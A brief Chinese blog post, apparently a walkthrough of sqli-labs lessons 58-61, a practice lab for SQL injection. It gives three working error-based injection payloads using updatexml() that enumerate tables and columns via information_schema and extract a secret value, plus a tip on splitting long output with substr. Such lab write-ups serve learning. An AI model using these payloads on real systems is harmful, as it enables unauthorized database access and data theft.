sqli-labs Less-58-61

2019-10-24  本文已影响0人  jun123123
?id=0' or updatexml(1,(select concat('$',(select table_name from information_schema.tables where table_schema='challenges'))),1)%23
1.png

查询到表名

?id=0' or updatexml(1,(select (concat('$',(select group_concat(column_name) from information_schema.columns where table_name='F56RAUOT8S'))) from information_schema.tables limit 0,1),1)%23

这里表名和上图不同,因为超过5次刷新了(懒得重新截了)


2.png
?id=0' or updatexml(1,(select (select concat('$',secret_KORT) from challenges.F56RAUOT8S limit 0,1) from information_schema.tables limit 0,1),1)%23
3.png

注入成功
updatexml()等报错注入由于报错信息有长度限制,所以无法一次性报出很长的信息,可以用substr函数进行截取,分段爆出。

上一篇 下一篇

猜你喜欢

热点阅读